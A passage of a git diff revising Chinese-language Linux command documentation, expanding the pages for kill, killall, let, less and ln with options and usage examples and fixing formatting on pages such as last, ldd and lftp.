1 then "one" else "many" end' + +"many" + +``` + +`\(foo)`: 在字符串中插入值并进行运算 + +```bash +$ echo '42' | jq '"The input was \(.), which is one less than \(.+1)"' + +"The input was 42, which is one less than 43" + +``` + + diff --git a/command/jwhois.md b/command/jwhois.md index 52085f79d44..98da794b931 100644 --- a/command/jwhois.md +++ b/command/jwhois.md @@ -7,13 +7,13 @@ whois 客户端服务 **jwhois** searches Whois servers for the object on the command line.The host to query is taken from a global configuration file, a configuration file specified on the command line, or selected directly on the command line. -### 语法 +### 语法 ```shell jwhois [选项] ``` -### 选项 +### 选项 ```shell --version display version number and patch level @@ -33,7 +33,7 @@ jwhois [选项] > 注:以上英文部分寻求网友协助翻译,翻译结果可发送至 sa(at)linuxde.net,谢谢! -### 实例 +### 实例 显示指定用户信息: @@ -59,4 +59,3 @@ Registrar WHOIS Server: whois.west263.com ``` - \ No newline at end of file diff --git a/command/kernelversion.md b/command/kernelversion.md index 9cc1e454a00..2e5fc0b4dae 100644 --- a/command/kernelversion.md +++ b/command/kernelversion.md @@ -7,11 +7,10 @@ kernelversion **kernelversion命令** 用于打印当前内核的主版本号。 -### 语法 +### 语法 ```shell kernelversion ``` - \ No newline at end of file diff --git a/command/kexec.md b/command/kexec.md index b267b32a511..af69115698b 100644 --- a/command/kexec.md +++ b/command/kexec.md @@ -9,13 +9,13 @@ kexec **kexec的好处:** 要求高可用性的系统,以及需要不断重新启动系统的内核开发人员,都将受益于kexec。因为 kexec跳过了系统重新启动过程中最耗时的部分(也就是固件初始化硬件设备的阶段),所以重新启动变得非常快,可用性得到了提高。 -### 语法 +### 语法 ```shell kexec(选项) ``` -### 选项 +### 选项 ```shell -l:指定内核映像文件; @@ -26,4 +26,3 @@ kexec(选项) ``` - \ No newline at end of file diff --git a/command/kill.md b/command/kill.md index 8a2a668b0a9..f542d66586b 100644 --- a/command/kill.md +++ b/command/kill.md @@ -1,39 +1,54 @@ kill === -删除执行中的程序或工作 +发送信号到进程。 -## 补充说明 +## 目录 -**kill命令** 用来删除执行中的程序或工作。kill可将指定的信息送至程序。预设的信息为SIGTERM(15),可将指定程序终止。若仍无法终止该程序,可使用SIGKILL(9)信息尝试强制删除程序。程序或工作的编号可利用ps指令或job指令查看。 +- [bash内建命令](#内建命令) +- [GNU coreutils中的命令](#外部命令) -### 语法 +## 内建命令 + +### 概要 ```shell -kill(选项)(参数) -xkill # 图形化关闭程序 +kill [-s sigspec | -n signum | -sigspec] pid | jobspec ... +kill -l [sigspec] ``` +### 主要用途 + +- 发送信号到作业或进程(可以为多个)。 +- 列出信号。 + ### 选项 ```shell --a:当处理当前进程时,不限制命令名和进程号的对应关系; --l <信息编号>:若不加<信息编号>选项,则-l参数会列出全部的信息名称; --p:指定kill 命令只打印相关进程的进程号,而不发送任何信号; --s <信息名称或编号>:指定要送出的信息; --u:指定用户。 +-s sig 信号名称。 +-n sig 信号名称对应的数字。 +-l 列出信号名称。如果在该选项后提供了数字那么假设它是信号名称对应的数字。 +-L 等价于-l选项。 ``` ### 参数 -进程或作业识别号:指定要删除的进程或作业。 +pid:进程ID + +jobspec:作业标识符 -### 实例 +### 返回值 -列出所有信号名称: +返回状态为成功除非给出了非法选项、执行出现错误。 + +### 例子 ```shell - kill -l +[user2@pc] kill -l 9 +KILL + +# 列出所有信号名称: +[user2@pc] kill -l 1) SIGHUP 2) SIGINT 3) SIGQUIT 4) SIGILL 5) SIGTRAP 6) SIGABRT 7) SIGBUS 8) SIGFPE 9) SIGKILL 10) SIGUSR1 11) SIGSEGV 12) SIGUSR2 @@ -50,31 +65,127 @@ xkill # 图形化关闭程序 55) SIGRTMAX-9 56) SIGRTMAX-8 57) SIGRTMAX-7 58) SIGRTMAX-6 59) SIGRTMAX-5 60) SIGRTMAX-4 61) SIGRTMAX-3 62) SIGRTMAX-2 63) SIGRTMAX-1 64) SIGRTMAX -``` -只有第9种信号(SIGKILL)才可以无条件终止进程,其他信号进程都有权利忽略, **下面是常用的信号:** +# 下面是常用的信号。 +# 只有第9种信号(SIGKILL)才可以无条件终止进程,其他信号进程都有权利忽略。 -```shell -HUP 1 终端断线 +HUP 1 终端挂断 INT 2 中断(同 Ctrl + C) QUIT 3 退出(同 Ctrl + \) -TERM 15 终止 KILL 9 强制终止 -CONT 18 继续(与STOP相反, fg/bg命令) +TERM 15 终止 +CONT 18 继续(与STOP相反,fg/bg命令) STOP 19 暂停(同 Ctrl + Z) ``` -先用ps查找进程,然后用kill杀掉: +```shell +# 以下发送KILL信号的形式等价。当然还有更多的等价形式,在此不一一列举了。 +[user2@pc] kill -s SIGKILL PID +[user2@pc] kill -s KILL PID +[user2@pc] kill -n 9 PID +[user2@pc] kill -9 PID + +[user2@pc] sleep 90 & +[1] 178420 + +# 终止作业标识符为1的作业。 +[user2@pc] kill -9 %1 + +[user2@pc] jobs -l +[1]+ 178420 KILLED ssh 192.168.1.4 + +[user2@pc] sleep 90 & +[1] 181357 + +# 发送停止信号。 +[user2@pc] kill -s STOP 181357 + +[user2@pc] jobs -l +[1]+ 181537 Stopped (signal) sleep 90 + +# 发送继续信号。 +[user2@pc] kill -s CONT 181357 + +[user2@pc] jobs -l +[1]+ 181537 Running sleep 90 & +``` + +### 注意 + +1. `bash`的作业控制命令包括`bg fg kill wait disown suspend`。 +2. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 + + +## 外部命令 + +### 概要 ```shell -ps -ef | grep vim -root 3268 2884 0 16:21 pts/1 00:00:00 vim install.log -root 3370 2822 0 16:21 pts/0 00:00:00 grep vim +kill [-signal|-s signal|-p] [-q value] [-a] [--] pid|name... +kill -l [number] | -L +``` + +### 主要用途 + +- 发送信号到进程(可以为多个)。 + +- 列出信号。 + +### 选项 + +```shell +-s, --signal signal 要发送的信号,可能是信号名称或信号对应的数字。 +-l, --list [number] 打印信号名称或转换给定数字到信号名称。信号名称可参考文件(/usr/include/linux/signal.h)。 +-L, --table 和'-l'选项类似,但是输出信号名称以及信号对应的数字。 +-a, --all 不要限制“命令名到pid”的转换为具有与当前进程相同的UID的进程。 +-p, --pid 打印目标进程的PID而不发送信号。 +--verbose 打印信号以及接收信号的PID。 +-q, --queue value 使用sigqueue(3)而不是kill(2)。参数value是信号对应的数字。 + 如果接收进程已为此信号安装了处理程序将SA_SIGINFO标记为sigaction(2),则可以获取 + 该数据通过siginfo_t结构的si_sigval字段。 +--help 显示帮助信息并退出。 +--version 显示版本信息并退出。 +``` + +### 参数 + +接收信号的进程列表可以是PID以及name的混合组成。 -kill 3268 -kill 3268 --bash: kill: (3268) - 没有那个进程 +PID:每一个PID可以是以下四种情况之一: + +状态|说明 +:--:|:--: +n | 当n大于0时,PID为n的进程接收信号。 +0 | 当前进程组中的所有进程均接收信号。 +-1 | PID大于1的所有进程均接收信号。 +-n | 当n大于1时,进程组n中的所有进程接收信号。当给出了一个参数的形式为“-n”,想要让它表示一个进程组,那么必须首先指定一个信号,或参数前必须有一个“--”选项,否则它将被视为发送的信号。 + +name:使用此名称调用的所有进程将接收信号。 + +### 例子 + +```shell +> sleep 20 & + +# 列出对应的PID。 +> kill -p sleep +23021 ``` +### 返回值 + +- 0 成功。 +- 1 失败。 +- 64 部分成功(当指定了多个进程时)。 + +### 注意 + +1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 kill`或`info coreutils 'kill invocation'`。 +2. 启动或关闭内建命令请查看`enable`命令,关于同名优先级的问题请查看`builtin`命令的例子部分的相关讨论。 +3. 与`kill`命令类似的有`xkill`,`pkill`,`killall`等,用于不同的目的和场景。 + +## 参考链接 + +[发送信号到进程](https://bash.cyberciti.biz/guide/Sending_signal_to_Processes) + - \ No newline at end of file diff --git a/command/killall.md b/command/killall.md index 730f297abd8..865f9b27d30 100644 --- a/command/killall.md +++ b/command/killall.md @@ -7,13 +7,13 @@ killall **killall命令** 使用进程的名称来杀死进程,使用此指令可以杀死一组同名进程。我们可以使用kill命令杀死指定进程PID的进程,如果要找到我们需要杀死的进程,我们还需要在之前使用ps等命令再配合grep来查找进程,而killall把这两个过程合二为一,是一个很好用的命令。 -### 语法 +### 语法 ```shell killall(选项)(参数) ``` -### 选项 +### 选项 ```shell -e:对长名称进行精确匹配; @@ -27,17 +27,20 @@ killall(选项)(参数) -u:杀死指定用户的进程。 ``` -### 参数 +### 参数 进程名称:指定要杀死的进程名称。 -### 实例 - -杀死所有同名进程 +### 实例 ```shell +# 杀死所有同名进程 killall vi +# 指定向进程发送的信号 +killall -9 vi +# 0信号表示不向进程发送信号, 可通过返回值判断进程是否存在, 0(存在)1(不存在) +killall -0 vi +echo $? ``` - \ No newline at end of file diff --git a/command/last.md b/command/last.md index 216b09e0464..1df770e0d04 100644 --- a/command/last.md +++ b/command/last.md @@ -7,13 +7,13 @@ last **last命令** 用于显示用户最近登录信息。单独执行last命令,它会读取`/var/log/wtmp`的文件,并把该给文件的内容记录的登入系统的用户名单全部显示出来。 -### 语法 +### 语法 ```shell last(选项)(参数) ``` -### 选项 +### 选项 ```shell -a:把从何处登入系统的主机名称或ip地址,显示在最后一行; @@ -24,12 +24,12 @@ last(选项)(参数) -x:显示系统关机,重新开机,以及执行等级的改变等信息。 ``` -### 参数 +### 参数 * 用户名:显示用户登录列表; * 终端:显示从指定终端的登录列表。 -### 实例 +### 实例 last命令用了显示用户登录情况,以下是直接显示固定行数的记录: @@ -48,4 +48,3 @@ root pts/0 221.6.45.34 Mon Dec 9 09:38 - 11:41 (02:02) ``` - \ No newline at end of file diff --git a/command/lastb.md b/command/lastb.md index ea6c1ee9fad..04a47dcfb81 100644 --- a/command/lastb.md +++ b/command/lastb.md @@ -7,13 +7,13 @@ lastb **lastb命令** 用于显示用户错误的登录列表,此指令可以发现系统的登录异常。单独执行lastb命令,它会读取位于`/var/log`目录下,名称为btmp的文件,并把该文件内容记录的登入失败的用户名单,全部显示出来。 -### 语法 +### 语法 ```shell lastb(选项)(参数) ``` -### 选项 +### 选项 ```shell -a:把从何处登入系统的主机名称或ip地址显示在最后一行; @@ -24,12 +24,12 @@ lastb(选项)(参数) -x:显示系统关机,重新开机,以及执行等级的改变等信息。 ``` -### 参数 +### 参数 * 用户名:显示中的用户的登录列表; * 终端:显示从指定终端的登录列表。 -### 实例 +### 实例 首次运行lastb命令会报下的错误: @@ -61,4 +61,3 @@ admin ssh:notty 129.171.193.99 Mon Dec 16 16:52 - 16:52 (00:00) ``` - \ No newline at end of file diff --git a/command/lastlog.md b/command/lastlog.md index 4b00ba3f810..f871c86f823 100644 --- a/command/lastlog.md +++ b/command/lastlog.md @@ -9,13 +9,13 @@ lastlog lastlog文件在每次有用户登录时被查询。可以使用lastlog命令检查某特定用户上次登录的时间,并格式化输出上次登录日志`/var/log/lastlog`的内容。它根据UID排序显示登录名、端口号(tty)和上次登录时间。如果一个用户从未登录过,lastlog显示` **Never logged** `。注意需要以root身份运行该命令。 -### 语法 +### 语法 ```shell lastlog(选项) ``` -### 选项 +### 选项 ```shell -b<天数>:显示指定天数前的登录信息; @@ -24,7 +24,7 @@ lastlog(选项) -u<用户名>:显示指定用户的最近登录信息。 ``` -### 实例 +### 实例 ```shell lastlog @@ -56,4 +56,3 @@ mysql **Never logged in** ``` - \ No newline at end of file diff --git a/command/ld.md b/command/ld.md index 63bc33da2a9..47146bd236e 100644 --- a/command/ld.md +++ b/command/ld.md @@ -7,27 +7,27 @@ ld **ld命令** 是GNU的连接器,将目标文件连接为可执行程序。 -### 语法 +### 语法 ```shell ld(选项)(参数) ld [options] objfile ... ``` -### 选项 +### 选项 ```shell -o:指定输出文件名; -e:指定程序的入口符号。 ``` -### 参数 +### 参数 目标文件:指定需要连接的目标文件。 ### 实例 -这告诉ld通过将文件“/lib/crt0.o”与“hello.o”和库“libc.a”链接起来,生成一个名为output的文件,该文件将来自标准搜索目录。 +这告诉ld通过将文件 `/lib/crt0.o` 与 `hello.o` 和库 `libc.a` 链接起来,生成一个名为 `output` 的文件,该文件将来自标准搜索目录。 ```shell ld -o /lib/crt0.o hello.o -lc @@ -35,4 +35,4 @@ ld -o output /lib/crt0.o hello.o -lc ``` - + diff --git a/command/ldconfig.md b/command/ldconfig.md index bf345eaecb4..2774cab8572 100644 --- a/command/ldconfig.md +++ b/command/ldconfig.md @@ -9,13 +9,13 @@ ldconfig ldconfig通常在系统启动时运行,而当用户安装了一个新的动态链接库时,就需要手工运行这个命令。 -### 语法 +### 语法 ```shell ldconfig [-v|--verbose] [-n] [-N] [-X] [-f CONF] [-C CACHE] [-r ROOT] [-l] [-p|--print-cache] [-c FORMAT] [--format=FORMAT] [-V] -?|--[help|--usage] path... ``` -### 选项 +### 选项 ```shell -v或--verbose:用此选项时,ldconfig将显示正在扫描的目录及搜索到的动态链接库,还有它所创建的连接的名字。 @@ -43,4 +43,3 @@ ldconfig [-v|--verbose] [-n] [-N] [-X] [-f CONF] [-C CACHE] [-r ROOT] [-l] [-p|- 7. 再有,诸如libdb-4.3.so文件头中是会含有库名相关的信息的(即含“libdb-4.3.so”,可用strings命令察看),因此仅通过修改文件名以冒充某已被识别的库(如libdb-4.8.so)是行不通的。为此可在编译库的Makefile中直接修改配置信息,指定特别的库名。 - \ No newline at end of file diff --git a/command/ldd.md b/command/ldd.md index c53a6732cb9..f52a89cb3dd 100644 --- a/command/ldd.md +++ b/command/ldd.md @@ -7,13 +7,13 @@ ldd **ldd命令** 用于打印程序或者库文件所依赖的共享库列表。 -### 语法 +### 语法 ```shell ldd(选项)(参数) ``` -### 选项 +### 选项 ```shell --version:打印指令版本号; @@ -24,11 +24,11 @@ ldd(选项)(参数) --help:显示帮助信息。 ``` -### 参数 +### 参数 文件:指定可执行程序或者文库。 -### 其他介绍 +### 其他介绍 首先ldd不是一个可执行程序,而只是一个shell脚本 @@ -45,4 +45,3 @@ ldd显示可执行模块的dependency的工作原理,其实质是通过ld-linu 实际上可以直接执行ld-linux.so模块,如:`/lib/ld-linux.so.2 --list program`(这相当于ldd program) - \ No newline at end of file diff --git a/command/less.md b/command/less.md index 852c7c9bffe..9dfc559bbe6 100644 --- a/command/less.md +++ b/command/less.md @@ -7,13 +7,13 @@ less **less命令** 的作用与more十分相似,都可以用来浏览文字档案的内容,不同的是less命令允许用户向前或向后浏览文件,而more命令只能向前浏览。用less命令显示文件时,用PageUp键向上翻页,用PageDown键向下翻页。要退出less程序,应按Q键。 -### 语法 +### 语法 ```shell less(选项)(参数) ``` -### 选项 +### 选项 ```shell -e:文件内容显示完毕后,自动退出; @@ -24,9 +24,10 @@ less(选项)(参数) -s:将连续多个空行压缩成一行显示; -S:在单行显示较长的内容,而不换行显示; -x<数字>:将TAB字符显示为指定个数的空格字符。 +-r:能够显示设置的颜色。 ``` -### 参数 +### 参数 文件:指定要分屏显示内容的文件。 @@ -34,6 +35,23 @@ less(选项)(参数) ```shell sudo less /var/log/shadowsocks.log + +/字符串:向下搜索"字符串"的功能 +?字符串:向上搜索"字符串"的功能 +n:继续向后搜索 +N:向前搜索 +b: 向后翻一页 +d: 向后翻半页 +u: 向前滚动半页 +y: 向前滚动一行 +Q: 退出less 命令 +空格键: 滚动一页 +回车键: 滚动一行 +[pagedown]: 向下翻动一页 +[pageup]: 向上翻动一页 +G: 移动到最后一行 +g: 移动到第一行 + ``` - + diff --git a/command/let.md b/command/let.md index 75309052a05..d592ec40370 100644 --- a/command/let.md +++ b/command/let.md @@ -1,37 +1,122 @@ let === -简单的计算器 +简单的计算器,执行算术表达式。 -## 补充说明 +## 概要 + +```shell +let arg [arg ...] +``` + +## 主要用途 + +- 执行一个或多个算术表达式。 + +## 参数 + +arg:算术表达式 + +## 返回值 + +当`let`最后一个执行的表达式的计算结果为0时返回`1`,否则返回`0`。 +当`let`执行的表达式的除数为0时,返回`1`并报错。 + +## 运算符优先级递减表 + +|**运算符**|**描述**| +|:-------:|:-------:| +|```id++, id--```|```变量后增量、变量后减量```| +|```++id, --id```|```变量预增量、变量预减量```| +|```-, +```|```正号、负号```| +|```!, ~```|```逻辑否、按位取反```| +|```**```|```幂运算```| +|```*, /, %```|```乘法、除法、取余```| +|```+, -```|```加法、减法```| +|```<<, >>```|```按位左移、右移```| +|```<=, >=, <, >```|```比较```| +|```==, !=```|```等于、不等于```| +|```&```|```按位与```| +|```^```|```按位异或```| +|```\|```|```按位或```| +|```&&```|```逻辑与```| +|```\|\|```|```逻辑或```| +|```expr ? expr : expr```|```条件运算符(三元运算符)```| +|```=, *=, /=, %=, +=, -=,```
```<<=, >>=, &=, ^=, \|=```|```赋值```| -**let命令** 是bash中用于计算的工具,提供常用运算符还提供了方幂`**`运算符。在变量的房屋计算中不需要加上`$`来表示变量,如果表达式的值是非0,那么返回的状态值是0;否则,返回的状态值是1。 -### 语法 +## 例子 ```shell -let arg [arg ...] #arg代表运算式 +# 尝试直接在终端中执行算术表达式(就像在python的IDLE)。 +3+4 +bash:3+4:command not found... +# 换一种方式。 +3 + 4 +bash:3:command not found... +# 看来不行。 ``` -### 用法 - -自加操作`let no++` -自减操作`let no--` -简写形式`let no+=10`,`let no-=20`,分别等同于`let no=no+10,``let no=no-20` +```shell +# let命令赋值。 +let a=3**4 +echo ${a} +# 显示81。 +# ((...))和let命令等效。 +((a=3**4)) +``` -### 实例 +```shell +# let常用于变量赋值,而外部命令expr可直接返回表达式的值。 +let 3+4 +# 没有显示7。 +# 执行后显示7,注意空格。 +expr 3 + 4 +``` ```shell -#!/bin/bash -let a=5+4 b=9-3 -echo $a $b +# 条件表达式。 +if ((8>4)); then + echo '8 is greater than 4.' +else + echo 'error' +fi +# 注意空格。 +if [[ 12 -le 10 ]]; then + echo 'error' +else + echo '12 is greater than 10.' +fi ``` ```shell -#!/bin/bash -let "t1 = ((a = 5 + 3, b = 7 - 1, c = 15 - 4))" -echo "t1 = $t1, a = $a, b = $b" +# 可以通过declare命令设置整型属性的方法来进行算术运算。 +# local命令与此类似。 + +# 没有指定整型属性,输出为字符串'a+b'。 +declare a=3 b=4 c +c=a+b +echo ${c} +# 不过可以使用以下方式赋值。 +c=$((a+b)) +echo ${c} +# 显示7 + +# 设置了整型属性就可以直接加了。 +declare -i a=3 b=4 c +c=a+b +echo ${c} +# 同上。 +declare -i a +a=2*3 +echo ${a} +# 显示6。 ``` +### 注意 + +1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 + +2. 执行算术计算的命令除了`let`,还有外部命令`expr`、`bc`等。 + - \ No newline at end of file diff --git a/command/lftp.md b/command/lftp.md index 5b811a9b6fe..f2ce9c6d7cc 100644 --- a/command/lftp.md +++ b/command/lftp.md @@ -7,13 +7,13 @@ lftp **lftp命令** 是一款优秀的文件客户端程序,它支持ftp、SETP、HTTP和FTPs等多种文件传输协议。lftp支持tab自动补全,记不得命令双击tab键,就可以看到可能的选项了。 -### 语法 +### 语法 ```shell lftp(选项)(参数) ``` -### 选项 +### 选项 ```shell -f:指定lftp指令要执行的脚本文件; @@ -22,11 +22,11 @@ lftp(选项)(参数) --version:显示指令的版本号。 ``` -### 参数 +### 参数 站点:要访问的站点的ip地址或者域名。 -### 实例 +### 实例 **登录ftp** @@ -116,4 +116,3 @@ set pget:default-n 5 这样,就不用每次进入都要打命令了。其他的set可以自己tab然后help来看。 - \ No newline at end of file diff --git a/command/lftpget.md b/command/lftpget.md index fcf8ad1cdf1..f1ada704778 100644 --- a/command/lftpget.md +++ b/command/lftpget.md @@ -7,13 +7,13 @@ lftpget **lftpget命令** 通过调用lftp指令下载指定的文件。 -### 语法 +### 语法 ```shell lftpget(选项)(参数) ``` -### 选项 +### 选项 ```shell -c:继续先前的下载; @@ -21,9 +21,8 @@ lftpget(选项)(参数) -v:输出详细信息。 ``` -### 参数 +### 参数 文件:指定要下载的文件,文件必须是合法的URL路径。 - \ No newline at end of file diff --git a/command/lha.md b/command/lha.md index 4bc1ec9e155..b64238a43a5 100644 --- a/command/lha.md +++ b/command/lha.md @@ -7,7 +7,7 @@ lha **lha命令** 是从lharc演变而来的压缩程序,文件经它压缩后,会另外产生具有`.lzh`扩展名的压缩文件。 -### 选项 +### 选项 ```shell -a或a:压缩文件,并加入到压缩文件内。 @@ -34,7 +34,7 @@ lha -z或z:不压缩文件,直接把它加入,更新压缩文件。 ``` -### 实例 +### 实例 ```shell lha -a abc.lhz a.b #压缩a.b文件,压缩后生成 abc.lhz 文件 @@ -43,4 +43,3 @@ lha -xiw=agis abc #解压文件abc,到当前目录 ``` - \ No newline at end of file diff --git a/command/lilo.md b/command/lilo.md index 7569ed9d7ed..9e92770164b 100644 --- a/command/lilo.md +++ b/command/lilo.md @@ -11,13 +11,13 @@ Linux lilo已经成为所有 Linux 发行版的标准组成部分。作为一个 虽然 LILO 仍在不断地发展,但 LILO 工作原理的基本概念保持不变。 -### 语法 +### 语法 ```shell lilo(选项) ``` -### 选项 +### 选项 ```shell -b<外围设备代号>:指定安装lilo之处的外围设备代号; @@ -43,7 +43,7 @@ lilo(选项) -V:显示版本信息。 ``` -### 实例 +### 实例 **使用 LILO 作为引导加载程序** @@ -134,4 +134,3 @@ LILO 被成功加载后,将看到 LILO 提示符。还是使用前面的示例 关于第一次尝试 LILO 的最后一点建议是:我发现使用软盘引导磁盘比使用硬盘实现 LILO 配置更为安全。为此,必须在 lilo.conf 文件中使用`boot=/dev/fd0`替换`boot=/dev/hda`。那样,如果弄乱了lilo.conf文件 中的任何配置,都可以取出引导磁盘并像先前一样引导到 Linux。当使用软盘进行引导一切正常以后,可以将lilo.conf修改回`boot=/dev/hda`,然后最后一次运行`/sbin/lilo`来上传修改。 - \ No newline at end of file diff --git a/command/ln.md b/command/ln.md index 2e796485580..e9dd3df16d4 100644 --- a/command/ln.md +++ b/command/ln.md @@ -1,15 +1,15 @@ ln === -用来为文件创件连接 +用来为文件创建链接 ## 补充说明 -**ln命令** 用来为文件创件连接,连接类型分为硬连接和符号连接两种,默认的连接类型是硬连接。如果要创建符号连接必须使用"-s"选项。 +**ln命令** 用来为文件创建链接,链接类型分为硬链接和符号链接两种,默认的链接类型是硬链接。如果要创建符号链接必须使用"-s"选项。 注意:符号链接文件不是一个独立的文件,它的许多属性依赖于源文件,所以给符号链接文件设置存取权限是没有意义的。 -### 语法 +### 语法 ```shell ln [选项]... [-T] 目标 链接名 (第一种格式) @@ -18,31 +18,31 @@ ln [选项]... [-T] 目标 链接名 (第一种格式)  或:ln [选项]... -t 目录 目标... (第四种格式) ``` -### 选项 +### 选项 ```shell - --backup[=CONTROL] 为每个已存在的目标文件创建备份文件 --b 类似--backup,但不接受任何参数 --d, -F, --directory 创建指向目录的硬链接(只适用于超级用户) --f, --force 强行删除任何已存在的目标文件 --i, --interactive 覆盖既有文件之前先询问用户; --L, --logical 取消引用作为符号链接的目标 --n, --no-dereference 把符号连接的目的目录视为一般文件; --P, --physical 直接将硬链接到符号链接 --r, --relative 创建相对于链接位置的符号链接 --s, --symbolic 对源文件建立符号连接,而非硬连接; --S, --suffix=SUFFIX 用"-b"参数备份目标文件后,备份文件的字尾会被加上一个备份字符串,预设的备份字符串是符号“~”,用户可通过“-S”参数来改变它; --t, --target-directory=DIRECTORY 指定要在其中创建链接的DIRECTORY --T, --no-target-directory 将“LINK_NAME”视为常规文件 --v, --verbose 打印每个链接文件的名称 - --help 显示此帮助信息并退出 - --version 显示版本信息并退出 +--backup[=CONTROL] # 为每个已存在的目标文件创建备份文件 +-b # 类似--backup,但不接受任何参数 +-d, -F, --directory # 创建指向目录的硬链接(只适用于超级用户) +-f, --force # 强行删除任何已存在的目标文件 +-i, --interactive # 覆盖既有文件之前先询问用户 +-L, --logical # 取消引用作为符号链接的目标 +-n, --no-dereference # 把符号链接的目的目录视为一般文件 +-P, --physical # 直接将硬链接到符号链接 +-r, --relative # 创建相对于链接位置的符号链接 +-s, --symbolic # 对源文件建立符号链接,而非硬链接 +-S, --suffix=SUFFIX # 用"-b"参数备份目标文件后,备份文件的字尾会被加上一个备份字符串,预设的备份字符串是符号“~”,用户可通过“-S”参数来改变它 +-t, --target-directory=DIRECTORY # 指定要在其中创建链接的DIRECTORY +-T, --no-target-directory # 将“LINK_NAME”视为常规文件 +-v, --verbose # 打印每个链接文件的名称 +--help # 显示此帮助信息并退出 +--version # 显示版本信息并退出 ``` -### 参数 +### 参数 -* 源文件:指定连接的源文件。如果使用`-s`选项创建符号连接,则“源文件”可以是文件或者目录。创建硬连接时,则“源文件”参数只能是文件; -* 目标文件:指定源文件的目标连接文件。 +* 源文件:指定链接的源文件。如果使用`-s`选项创建符号链接,则“源文件”可以是文件或者目录。创建硬链接时,则“源文件”参数只能是文件。 +* 目标文件:指定源文件的目标链接文件。 ```shell none, off # 不进行备份(即使使用了--backup 选项) @@ -51,17 +51,19 @@ existing, nil # 若有数字的备份文件已经存在则使用数字,否 simple, never # 永远使用普通方式备份 ``` -### 实例 +### 实例 -将目录`/usr/mengqc/mub1`下的文件m2.c链接到目录`/usr/liu`下的文件a2.c +将目录`/usr/mengqc/mub1` 下的文件 m2.c 链接到目录 `/usr/liu` 下的文件 a2.c ```shell cd /usr/mengqc -ln /mub1/m2.c /usr/liu/a2.c +ln mub1/m2.c /usr/liu/a2.c ``` 在执行ln命令之前,目录`/usr/liu`中不存在a2.c文件。执行ln之后,在`/usr/liu`目录中才有a2.c这一项,表明m2.c和a2.c链接起来(注意,二者在物理上是同一文件),利用`ls -l`命令可以看到链接数的变化。 +**创建软链接** + 在目录`/usr/liu`下建立一个符号链接文件abc,使它指向目录`/usr/mengqc/mub1` ```shell @@ -70,17 +72,77 @@ ln -s /usr/mengqc/mub1 /usr/liu/abc 执行该命令后,`/usr/mengqc/mub1`代表的路径将存放在名为`/usr/liu/abc`的文件中。 -## 扩展知识 +**创建硬链接** + +给文件创建硬链接,为 `log2022.log` 创建硬链接 `ln2022`,`log2022.log` 与 `ln2022` 的各项属性相同 + +```shell +ln log2022.log ln2022 +``` + +输出: + +``` +[root@localhost test]# ll +lrwxrwxrwx 1 root root 11 12-07 16:01 link2013 -> log2022.log +-rw-r--r-- 1 root bin 61 11-13 06:03 log2022.log +[root@localhost test]# ln log2022.log ln2022 +[root@localhost test]# ll +lrwxrwxrwx 1 root root 11 12-07 16:01 link2013 -> log2022.log +-rw-r--r-- 2 root bin 61 11-13 06:03 ln2022 +-rw-r--r-- 2 root bin 61 11-13 06:03 log2022.log +``` + +## 扩展知识 Linux具有为一个文件起多个名字的功能,称为链接。被链接的文件可以存放在相同的目录下,但是必须有不同的文件名,而不用在硬盘上为同样的数据重复备份。另外,被链接的文件也可以有相同的文件名,但是存放在不同的目录下,这样只要对一个目录下的该文件进行修改,就可以完成对所有目录下同名链接文件的修改。对于某个文件的各链接文件,我们可以给它们指定不同的存取权限,以控制对信息的共享和增强安全性。 文件链接有两种形式,即硬链接和符号链接。 -### 硬链接 +ln功能说明:是为某一个文件在另外一个位置建立一个同步的链接,当我们需要在不同的目录,用到相同的文件时,我们不需要在每一个需要的目录下都放一个必须相同的文件,我们只要在某个固定的目录,放上该文件,然后在其它的目录下用ln命令链接(link)它就可以,不必重复的占用磁盘空间。 + +> :warning: ln命令会保持每一处链接文件的同步性,也就是说,不论你改动了哪一处,其它的文件都会发生相同的变化。 -建立硬链接时,在另外的目录或本目录中增加目标文件的一个目录项,这样,一个文件就登记在多个目录中。如图所示的m2.c文件就在目录mub1和liu中都建立了目录项。 +### 软链接: -创建硬链接后,己经存在的文件的I节点号(Inode)会被多个目录文件项使用。一个文件的硬链接数可以在目录的长列表格式的第二列中看到,无额外链接的文件的链接数为l。 +1. 软链接,以路径的形式存在。类似于Windows操作系统中的快捷方式 +2. 软链接可以 跨文件系统 ,硬链接不可以 +3. 软链接可以对一个不存在的文件名进行链接 +4. 软链接可以对目录进行链接 + +### 硬链接 + +建立硬链接时,在另外的目录或本目录中增加目标文件的一个目录项,这样,一个文件就登记在多个目录中。如下所示的m2.c文件就在目录mub1和liu中都建立了目录项。 + + +1. 硬链接,以文件副本的形式存在。但不占用实际空间。 +2. 不允许给目录创建硬链接 +3. 硬链接只有在同一个文件系统中才能创建 + +```shell +ls -ailR +.: +total 16 +922730 drwxr-xr-x 4 root root 4096 Jun 17 11:18 . +393217 drwxrwxrwt. 9 root root 4096 Jun 17 11:19 .. +922733 drwxr-xr-x 2 root root 4096 Jun 17 11:18 liu +922731 -rw-r--r-- 3 root root 0 Jun 17 11:18 m2.c +922732 drwxr-xr-x 2 root root 4096 Jun 17 11:18 mub1 + +./liu: +total 8 +922733 drwxr-xr-x 2 root root 4096 Jun 17 11:18 . +922730 drwxr-xr-x 4 root root 4096 Jun 17 11:18 .. +922731 -rw-r--r-- 3 root root 0 Jun 17 11:18 m2.c + +./mub1: +total 8 +922732 drwxr-xr-x 2 root root 4096 Jun 17 11:18 . +922730 drwxr-xr-x 4 root root 4096 Jun 17 11:18 .. +922731 -rw-r--r-- 3 root root 0 Jun 17 11:18 m2.c +``` + +创建硬链接后,己经存在的文件的索引节点号(inode)会被多个目录文件项使用。一个文件的硬链接数可以在目录的长列表格式的第二列中看到,无额外链接的文件的链接数为1。 在默认情况下,ln命令创建硬链接。ln命令会增加链接数,rm命令会减少链接数。一个文件除非链接数为0,否则不会从文件系统中被物理地删除。 @@ -89,13 +151,18 @@ Linux具有为一个文件起多个名字的功能,称为链接。被链接的 * 不能对目录文件做硬链接。 * 不能在不同的文件系统之间做硬链接。就是说,链接文件和被链接文件必须位于同一个文件系统中。 -### 符号链接 +### 符号链接(软连接) -符号链接也称为软链接,是将一个路径名链接到一个文件。这些文件是一种特别类型的文件。事实上,它只是一个文本文件(如图中的abc文件),其中包含它提供链接的另一个文件的路径名,如图中虚线箭头所示。另一个文件是实际包含所有数据的文件。所有读、写文件内容的命令被用于符号链接时,将沿着链接方向前进来访问实际的文件。 